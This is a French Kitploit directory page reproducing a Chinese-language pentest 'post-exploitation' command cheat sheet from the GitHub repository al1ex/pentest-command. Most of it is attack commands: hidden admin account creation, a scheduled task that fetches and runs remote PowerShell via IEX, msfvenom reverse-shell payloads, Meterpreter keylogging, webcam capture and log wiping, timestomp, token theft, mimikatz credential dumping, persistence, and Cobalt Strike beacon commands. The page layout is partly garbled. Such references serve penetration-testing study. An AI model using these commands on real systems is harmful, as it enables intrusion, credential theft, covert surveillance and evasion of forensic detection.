Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Pentest-Command — Pentest-Command | Kitploit
Outils/GitHubGitHub/al1ex/pentest-command
Escalade de PrivilègesMécanismes de PersistanceMouvement LatéralCollecte d'InformationsPost-ExploitationTests d'IntrusionUtilitaires et FrameworksApprentissage et ÉducationRessources Organisées
GitHubal1ex/pentest-command

Pentest-Command

Pentest-Command

208il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

Contexte du projet

Au cours des tests d'intrusion, nous utilisons divers frameworks, par exemple : MSF, CS, Empire, Impacket, etc. L'objectif principal de ce projet est de recenser les commandes couramment utilisées pendant la phase de post-exploitation.

Connaissances de base

Présentation des répertoires WIN

a、Répertoire des programmes de démarrage```c C:\Users\Al1ex\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

root@kitploit:~
b、开机自启动程序 (cette fonctionnalité est souvent utilisée pour la persistance des privilèges)```c
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

c. Chemin d'installation du système```c C:\Windows

root@kitploit:~
d、les fichiers de ressources système incluent des dll, des exe ainsi que d'autres fichiers```c
C:\Windows\System32  

e、Fichier de stockage des mots de passe système```c# C:\Windows\System32\config\SAM

root@kitploit:~
f、Fichiers de journal système```c
C:\PerfLogs   

g、Emplacement des journaux de domaine```c #服务器登录日志 C:\Windows\System32\winevt\Logs\Security.evtx

#远程登录日志 c:\windows\system32\winevt\logs*.remote*

root@kitploit:~
h、journaux de connexion à distance de l'hôte```c
HKCU\Software\Microsoft\Terminal Server Client\Servers
HKCU\Software\Microsoft\Terminal Server Client\Default

i. Mots de passe et historique du navigateur Firefox```c C:\Users\用户名\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release\logins.json C:\Users\用户名\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release\key3.db C:\Users\用户名\AppData\Roaming\Mozilla\Firefox\Profiles\xxx.default-release\place.sqlite

#说明:将上述三个文件导入到对应版本firefox的文件夹中,即可读取密码和历史记录

root@kitploit:~
j、Fichiers récents```c
#该目录下的最近使用文件是快捷方式
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Recent\

Commandes de fenêtre WIN```c dxdiag 查询电脑硬件配置信息 control 控制面板 services.msc 服务 msconfig 系统配置 regedit 注册表 ncpa.cpl 网络连接 firewall.cpl 防火墙 devmgmt.msc 设备管理器 diskmgmt.msc 磁盘管理实用 compmgmt.msc 计算机管理 winver 检查Windows版本
write 写字板 mspaint 画图板 mstsc 远程桌面连接 magnify 放大镜实用程序 notepad 打开记事本 shrpubw 创建共享文件夹 calc 启动计算器 osk 打开屏幕键盘

root@kitploit:~
### Commandes incluses

#### Informations système```c
CHCP 65001                           				  修改字体编码为UTF-8
systeminfo                           				  查看系统信息
hostname                             				  查看主机名
set                                  				  查看环境变量
set path                             				  查看指定环境变量
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"	    查看系统版本	
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"  查看系统版本
echo %PROCESSOR_ARCHITECTURE% 						  查看系统体系结构
net statistics workstation 							  查看主机开机时间   
wmic qfe get Caption,Description,HotFixID,InstalledOn 查看补丁信息  
    

Informations réseau```c

ping -t -l 65500 ip 死亡之ping ipconfig /release 释放ip ipconfig /renew 重新获得ip ipconfig /flushdns 刷新DNS缓存 route print 打印路由信息 arp -a 查看arp缓存 net view 查看局域网内其他计算机名称 netsh firewall show state 防火墙状态 netsh firewall show config 防火墙规则

root@kitploit:~
#### Informations utilisateur```c
whoami                                查看系统当前用户
net user                              查看有哪些用户
net user al1ex                          查看用户al1ex的信息
net localgroup                        查看组
net localgroup administrators         查看组administrators的信息
net user  hack   123  /add            新建一个用户hack,密码为123
net user  hack$  123  /add            新建一个隐藏hack用户,密码为123
net user  hack   /del                 删除用户hack
net localgroup  administrators  hack  /add   将普通用户hack提权到管理员
net user  guest  /active:yes          激活guest用户
net user  guest  /active:no           关闭guest用户
net password   密码                    更改系统当前登录用户密码
net user guest 密码                    更改guest用户密码
net session 						  查看本地计算机和连接的客户端的会话
query user || qwinsta   			  查看当前在线用户信息

Services de processus```c

tasklist 查看进程 tasklist /v 查看进程,显示进程使用者名称 wmic process list brief 查看进程列表信息 netstat -ano 查看系统开放端口 netstat -ano|findstr 80 查看80端口对应的PID tasklist | findstr 80 查看80端口对应的进程 taskkill /f /t /im xx.exe 杀死xx.exe进程 taskkill /F -pid 520 杀死pid为520的进程 net start 查看开启了哪些服务 net start telnet 开启telnet服务 net stop telnet 停止 telnet服务 start www.baidu.com 打开网址 wmic service list brief 本机服务信息 wmic startup get command,caption 启动程序信息

root@kitploit:~
Afficher l'antivirus :```
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe

processus antivirus``` 360SD.exe 360杀毒 360TRAY.exe 360实时保护 ZHUDONGFANGYU.exe 360主动防御 KSAFETRAY.exe 金山卫士 SAFEDOGUPDATECENTER.exe 服务器安全狗 MCAFEE MCSHIELD.exe MCAFEE EGULEXE NoD32 AVP.exe 卡巴斯基 AVGUARD.exe 小红伞 BDAGENT.exe BITDEFENDER

root@kitploit:~
#### Informations sur le logiciel```
wmic product get name,version 
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"  

Informations de routage```c

route print arp -A

root@kitploit:~
#### Informations partagées```c
net use                               查看连接
net share                             查看本地开启的共享
wmic share get name,path,status		  查看本地开启的共享
net share ipc$                        开启ipc$共享
net share ipc$ /del                   删除ipc$共享
net share c$ /del                     删除C盘共享
 
net use \\192.168.10.15\ipc$ /u:"" ""     与192.168.10.15建立ipc空连接
net use \\192.168.10.15      /u:"" ""     与192.168.10.15建立ipc空连接,可以将ipc$去掉
net use \\192.168.10.15 /u:"administrator" "root"   以administrator身份与192.168.10.15建立ipc$连接
net use \\192.168.10.15 /del           删除ipc连接
 
net use \\192.168.10.15\c$  /u:"administrator" "root"    建立C盘共享
dir \\192.168.10.15\c$                 查看192.168.10.15 C盘文件
dir \\192.168.10.15\c$\user            查看192.168.10.15 C盘文件下的user目录
dir \\192.168.10.15\c$\user\test.exe   查看192.168.10.15 C盘文件下的user目录下的test.exe文件
net use \\192.168.10.15\c$  /del       删除该C盘共享连接
 
net use k: \\192.168.10.15\c$  /u:"administrator" "root"    将目标C盘映射到本地K盘
net use k: /del                        删除该映射

Opérations sur les fichiers```

echo hello,word > 1.txt 向1.txt中写入 hello,word echo hello,word >>1.txt 向1.txt中追加 hello,word del 删除一个文件 deltree 删除文件夹和它下面的所有子文件夹还有文件 ren 1.txt 2.txt 将 1.txt 重命名为 2.txt type 1.txt 查看1.txt文件的内容 md 创建一个文件夹 rd 删除一个文件夹 move 1.txt d:/ 将1.txt文件移动到d盘下 type 123.txt 打开123.txt文件 dir c:\ 查看C盘下的文件 dir c:\ /A 查看C盘下的所有文件,包括隐藏文件 dir c:\ /S 查看C盘下和其子文件夹下的文件 dir c:\ /B 只显示C盘下的文件名

root@kitploit:~
#### Tâches planifiées

a. Créer une tâche planifiée```c
#本地应用
schtasks /create /tn test /sc HOURLY /mo 1 /tr c:\vps.exe /ru system /f

#远程应用
schtasks /create /tn test /sc onstart/onlogon/HOURLY /mo 1 /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://xx.xx.xx.xx'''))'" /ru system /f

b. Consulter les tâches planifiées```c schtasks /query /fo LIST /v schtasks /query | findstr test

root@kitploit:~
c、Démarrer la tâche planifiée```c
schtasks /run /i /tn "test"

d、Supprimer la tâche planifiée```c schtasks /delete /tn "test" /f

root@kitploit:~
#### Catégorie pare-feu

a、Voir la configuration du pare-feu```c
netsh firewall show config

b. Définir l'emplacement de stockage des journaux du pare-feu```c netsh advfirewall set currentprofile logging filename "C:\Windows\temp\FirewallLOG.log"

root@kitploit:~
c、Désactiver le pare-feu```c
netsh firewall get opmode disable  				(WIN2003之前)
netsh advfirewall set allprofiles state off 	(WIN2003之后)

d、允许某个程序的全连接

Windows Server 2003系统及之前版本```c netsh firewall add allowedprogram c:\nc.exe "allow nc" enable

root@kitploit:~
Windows server 2003 et versions ultérieures du système :```c
i.允许指定程序连入,命令如下
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe" 

ii.允许指定程序连出,命令如下:   
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe" 
    
iii. 允许 3389 端口放行,命令如下   
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 
    
iv.自定义防火墙日志存储位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log" 

Bureau à distance

a、Identifiants de connexion à distance``` cmdkey /list

root@kitploit:~
b、Afficher les ports de connexion à distance```c
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

c. Ouvrir le port 3389 dans Windows Server 2003```c #方法一: wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

#方法二: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

root@kitploit:~
d. Activer le port 3389 sur Windows Server 2008 et Windows Server 2012```c
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 
    
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1 
    
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f 

Configuration du proxy```c

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

root@kitploit:~
#### Mot de passe WiFi```c
for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear

Fichier de configuration

Consultez le fichier de configuration pour rechercher les données clés :```c cd /web findstr /s /m "password" .

root@kitploit:~
Chemin de configuration :

a. Classe middleware```c
Tomcat: CATALINA_HOME/conf/tomcat-users.xml
Apache: /etc/httpd/conf/httpd.conf
Nginx : /etc/nginx/nginx.conf
Wdcp  : /www/wdlinux/wdcp/conf/mrpw.conf
Mysql :mysql\data\mysql\user.MYD  

b. navicat```c #MySQL: HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers<your connection name> MariaDB: HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers<your connection name>

#MongoDB: HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers<your connection name>

#Microsoft SQL: HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers<your connection name>

#Oracle: HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers<your connection name>

#PostgreSQL: HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers<your connection name>

#SQLite: HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers<your connection name>

root@kitploit:~
c. SecureCRT```c
#xp/win2003
C:\Documents   and Settings\USERNAME\Application Data\VanDyke\Config\Sessions

#win7/win2008以上
C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions

d、Xshell```c #Xshell 5: %userprofile%\Documents\NetSarang\Xshell\Sessions

#Xshell 6: %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions

root@kitploit:~
e. WinSCP```c
HKCU\Software\Martin  Prikryl\WinSCP 2\Sessions

f. VNC```c #RealVNC: HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver

#TightVNC: HKEY_CURRENT_USER\Software\TightVNC\Server Value

#TigerVNC: HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4

#UltraVNC: C:\Program Files\UltraVNC\ultravnc.ini

root@kitploit:~
#### Powershell

a、Configurer la stratégie

Powershell dispose des stratégies d'exécution suivantes :

- Bypass : aucune restriction ni invite
- Undefined : aucune stratégie définie pour les scripts
- AllSigned : tous les scripts doivent être signés pour s'exécuter
- Restricted : stratégie par défaut, aucune exécution de script n'est autorisée
- Unrestricted : privilèges maximaux, permet d'exécuter n'importe quel script sans restriction
- RemoteSigned : les scripts locaux ne sont pas limités, mais les scripts provenant du réseau doivent être signés

Afficher et définir la stratégie actuelle :```
Get-ExecutionPolicy -List
Set-ExecutionPolicy Unrestricted    (设置执行策略

b、contournement de politiques``` powershell -exec bypass

root@kitploit:~
c. Chargement local```
powershell -exec bypass Import-Module .\powerview.ps1;Get-NetDomain  

d、Chargement à distance``` powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.174.1:2222/test.ps1')

powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.174.1:2222/powerview.ps1');import-module .\powerview.ps1;Get-NetDomain

root@kitploit:~
#### Informations de domaine```
net view									查询存活主机
net view /domain  							查询域信息
net view /domain:XXX 						查询某域内主机
net user /domain 							查询域用户
net group /domain 							域内用户组列表
net group "Domain computers" /domain 		域成员主机列表
net group "Domain Admins"					域管理员列表
net group "Enterprise Admins" /domain       域企业的指定管理员
net accounts /domain 						域密码安全策略
nltest /domain_trusts 						域信任列表信息
dsquery user 								查询存在的用户信息

Extension dsquery :```c dsquery computer 寻找目录中的计算机 dsquery contact 在目录中查找与指定的搜索条件相匹配的联系人 dsquery subnet 寻找目录中的子网 dsquery group 寻找目录中的群组 dsquery ou 寻找目录中的组织单位 dsquery site 寻找目录中的站点 dsquery server 寻找目录中的域控制器 dsquery user 寻找目录中的用户 dsquery quota 寻找目录中的配额规格 dsquery partition 寻找目录中的磁盘分区 dsquery * 使用标准的LDAP查询在目录中寻找任何对象 dsquery server –domain Yahoo.com | dsget server–dnsname –site 域内域控制器的DNS主机名和站点名 dsquery computer domainroot –name -xp –limit 10 域内以-xp结尾的机器10台 dsquery user domainroot –name admin -limit 域内以admin开头的用户10个

root@kitploit:~
Enregistrez la commande suivante en tant que fichier bat et exécutez-la pour afficher rapidement les noms de machines de toutes les machines en ligne du domaine actuel, ainsi que leurs adresses IP correspondantes :```c
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)

Détection ICMP du segment C du réseau interne :```c for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.174.%I | findstr "TTL="

root@kitploit:~
#### Rechercher le contrôleur de domaine```
nltest /DCLIST:xxx							域控机器名 
Nslookup -type=SRV _ldap._tcp 				域控主机名
net time /domain 							当前时间信息
net group "Domain Controllers" /domain 		域控制器组信息
netdom query pdc 							

Outils de framework

Framework MSF

Génération de payload```

#Windows msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

#Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf

#APP: msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT= -o ~/Desktop/test2.apk

#Mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

#PHP: msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f raw -o test.php

#ASP: msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

#ASPX: msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f aspx > shell.aspx

#JSP: msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

#Bash: msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

#Perl msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

#powershell msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST= LPORT= -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1

#Python msfvenom -p python/meterpreter/reverser_tcp LHOST= LPORT= -f raw > shell.py

root@kitploit:~
##### Commandes système```
sessions -i <ID值>  进入会话   -k  #杀死会话
background          将当前会话放置后台
run                 执行已有的模块,输入run后按两下tab,列出已有的脚本
info                查看已有模块信息
getuid              查看权限 
getpid              获取当前进程的pid
sysinfo             查看目标机系统信息
ps                  查看当前活跃进程    kill <PID值> 杀死进程
idletime            查看目标机闲置时间
reboot / shutdown   重启/关机
shell               进入目标机cmd shell
Clavier et souris```

uictl disable mouse 禁用鼠标 uictl disable keyboard 禁用键盘 uictl enable mouse 开启鼠标 uictl enable keyboard 开启键盘

root@kitploit:~
##### Caméras```
webcam_list     		查看摄像头
webcam_snap     		通过摄像头拍照
webcam_stream   		通过摄像头开启视频
Exécution```

execute -f cmd.exe 创建新进程cmd.exe 相关参数: -H:不可见 -i:交互 -m:在内存中运行

root@kitploit:~
##### Migration de processus```c
getpid            		  获取当前进程的pid
ps               		  查看当前活跃进程
migrate <pid值>			 将Meterpreter会话移植到指定pid值进程中
kill <pid值>     		 杀死进程

Vous pouvez également utiliser le module migrate pour migrer automatiquement.``` run post/windows/manage/migrate

root@kitploit:~
##### Suppression des journaux```
clearev 
Opérations sur les fichiers```c

getwd/pwd 查看当前工作目录
ls 查看当前目录列表 cd 切换目录 cat C://Users//dayu//Desktop//dayu.txt 查看文件内容 upload /root/Desktop/test-dayu.txt C://Users//dayu//Desktop 上传文件到目标机上 download C://Users//dayu//Desktop//dayu.txt /root/Desktop/ 下载文件到本机上 edit C://Users//dayu//Desktop//1.txt 编辑或创建文件,没有则会新建文件 rm C://Users//dayu//Desktop//1.txt 删除文件 mkdir lltest2 在当前目录下创建文件夹 rmdir lltest2 删除当前目录下文件夹 getlwd/lpwd 操作攻击者主机查看当前目录 lcd /tmp 操作攻击者主机切换目录

root@kitploit:~
##### Catégorie horodatage```c
timestomp  					            	 伪造时间戳
参数说明:
-v:查看指定文件时间戳
-f:替换指定文件时间戳
-c:修改文件的创建时间
-m:修改文件的修改时间
-a:修改文件的访问时间
运行实例:
timestomp C:/1.txt -f C:/no-catch.txt    	  将1.txt的时间戳替换为no-catch.txt的时间戳
timestomp -a "10/27/2015 14:22:11" C://1.txt  修改1.txt文件的访问时间为"2015-10-27 14:22:11"
Recherche de fichiers```

search -f *.txt

root@kitploit:~
##### Commandes réseau```
ipconfig/ifconfig     查看网卡信息
netstat –ano          查看端口进程
arp                   查看ARP信息
getproxy              查看代理信息
route                 查看路由
Redirection de port

Rediriger le trafic du port 3389 de l'hôte 192.168.179.207 vers le port local 1232.``` portfwd add -l 1232 -r 192.168.179.207 3389

root@kitploit:~
##### Ajouter une route```
run autoroute –h                查看帮助
run autoroute -s 10.10.10.0/24  添加到目标环境网络
run autoroute –p                查看添加的路由
Configuration du proxy```

msf > use auxiliary/server/socks4a msf > set srvhost 127.0.0.1 msf > set srvport 1080 msf > run

root@kitploit:~
##### Élévation de privilèges```
getsystem
Contournement UAC```

exploit/windows/local/ask
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection exploit/windows/local/bypassuac_fodhelper exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack

root@kitploit:~
##### Vol de jetons

incognito vol de jetons :```
use incognito                              进入incognito模式
list_tokens -u                             查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM'    假冒SYSTEM token,或者用下面的
impersonate_token NT\ AUTHORITY\\SYSTEM    不加单引号 需使用\\
execute -f cmd.exe -i –t                   -t使用假冒的token执行或者直接shell
rev2self                                   返回原始token

steal_token vol de jeton:``` steal_token <pid值> 从指定进程中窃取token 先ps drop_token 删除窃取的token

root@kitploit:~
##### Capture d'écran du bureau```
enumdesktops    查看可用的桌面
getdesktop      获取当前meterpreter 关联的桌面
screenshot      截屏
use espia       然后输入screengrab,与screenshot功能一致,但该命令会自动打开截图
Bureau à distance```

run post/windows/manage/enable_rdp 开启远程桌面 run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 添加用户 run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 将3389端口转发到6662

root@kitploit:~
##### Enregistrement des frappes clavier```
keyscan_start    开始键盘记录
keyscan_dump     导出记录数据
keyscan_stop     结束键盘记录
Capture de mots de passe```

run windows/gather/smart_hashdump 导出域内所有用户hash,需要system权限 run windows/gather/credentials/windows_autologin 抓取自动登录用户的密码

root@kitploit:~
Module wiki:```
load mimikatz
help wiki

---``` creds_all 列举所有凭据 creds_kerberos 列举所有kerberos凭据 creds_msv 列举所有msv凭据 creds_ssp 列举所有ssp凭据 creds_tspkg 列举所有tspkg凭据 creds_wdigest 列举所有wdigest凭据 dcsync 通过DCSync检索用户帐户信息 dcsync_ntlm 通过DCSync检索用户帐户NTLM散列、SID和RID golden_ticket_create 创建黄金票据 kerberos_ticket_list 列举kerberos票据 kerberos_ticket_purge 清除kerberos票据 kerberos_ticket_use 使用kerberos票据 kiwi_cmd 执行mimikatz的命令,后面接mimikatz.exe的命令 lsa_dump_sam dump出lsa的SAM lsa_dump_secrets dump出lsa的密文 password_change 修改密码 wifi_list 列出当前用户的wifi配置文件 wifi_list_shared 列出共享wifi配置文件/编码

root@kitploit:~
##### Persistance```
run exploit/windows/local/persistence LHOST=192.168.111.111 LPORT=4444
Désactiver le pare-feu```

netsh advfirewall set allprofiles state off

root@kitploit:~
##### Présentation du module```
run post/windows/gather/checkvm                 				 是否虚拟机
run post/linux/gather/checkvm                  				 	 是否虚拟机
run post/windows/gather/forensics/enum_drives   				 查看分区
run post/windows/gather/enum_applications       				 获取安装软件信息
run post/windows/gather/dumplinks               				 获取最近的文件操作
run post/windows/gather/enum_ie                 				 获取IE缓存
run post/windows/gather/enum_chrome             				 获取Chrome缓存
run post/windows/gather/enum_patches            				 补丁信息
run post/windows/gather/enum_domain             				 查找域控
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24         扫描整个段存活主机
run auxiliary/scanner/portscan/tcp RHOSTS=10.10.10.2 PORTS=3389  检查IP是否开放3389

Cobalt Strike```

Command Description


browserpivot 注入受害者浏览器进程 bypassuac 绕过UAC cancel 取消正在进行的下载 cd 切换目录 checkin 强制让被控端回连一次 clear 清除beacon内部的任务队列 connect Connect to a Beacon peerover TCP covertvpn 部署Covert VPN客户端 cp 复制文件 dcsync 从DC中提取密码哈希 desktop 远程VNC dllinject 反射DLL注入进程 dllload 使用LoadLibrary将DLL加载到进程中 download 下载文件 downloads 列出正在进行的文件下载 drives 列出目标盘符 elevate 尝试提权(可列举本地有哪些洞) execute 在目标上执行程序(无输出) execute-assembly 在目标上内存中执行本地.NET程序 exit 退出beacon getprivs Enable system privileges oncurrent token getsystem 尝试获取SYSTEM权限 getuid 获取用户ID hashdump 转储密码哈希值 help 帮助 inject 在特定进程中生成会话 jobkill 杀死一个后台任务 jobs 列出后台任务 kerberos_ccache_use 从ccache文件中导入票据应用于此会话 kerberos_ticket_purge 清除当前会话的票据 kerberos_ticket_use 从ticket文件中导入票据应用于此会话 keylogger 键盘记录 kill 结束进程 link Connect to a Beacon peerover a named pipe logonpasswords 使用mimikatz转储凭据和哈希值 ls 列出文件 make_token 创建令牌以传递凭据 mimikatz 运行mimikatz mkdir 创建一个目录 mode dns 使用DNS A作为通信通道(仅限DNS beacon) mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon) mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon) mode http 使用HTTP作为通信通道 mv 移动文件 net net命令 note 备注
portscan 进行端口扫描 powerpick 通过Unmanaged PowerShell执行命令 powershell 通过powershell.exe执行命令 powershell-import 导入powershell脚本 ppid Set parent PID forspawned post-ex jobs ps 显示进程列表 psexec Use a service to spawn asession on a host psexec_psh Use PowerShell to spawn asession on a host psinject 在特定进程中执行PowerShell命令 pth 使用Mimikatz进行传递哈希 pwd 当前目录位置 reg Query the registry rev2self 恢复原始令牌 rm 删除文件或文件夹 rportfwd 端口转发 run 在目标上执行程序(返回输出) runas 以另一个用户权限执行程序 runasadmin 在高权限下执行程序 runu Execute a program underanother PID screenshot 屏幕截图 setenv 设置环境变量 shell cmd执行命令 shinject 将shellcode注入进程 shspawn 生成进程并将shellcode注入其中 sleep 设置睡眠延迟时间 socks 启动SOCKS4代理 socks stop 停止SOCKS4 spawn Spawn a session spawnas Spawn a session as anotheruser spawnto Set executable tospawn processes into spawnu Spawn a session underanother PID ssh 使用ssh连接远程主机 ssh-key 使用密钥连接远程主机 steal_token 从进程中窃取令牌 timestomp 将一个文件时间戳应用到另一个文件 unlink Disconnect from parentBeacon upload 上传文件 wdigest 使用mimikatz转储明文凭据 winrm 使用WinRM在主机上生成会话 wmi 使用WMI在主机上生成会话 argue 进程参数欺骗

root@kitploit:~
Télécharger l’outil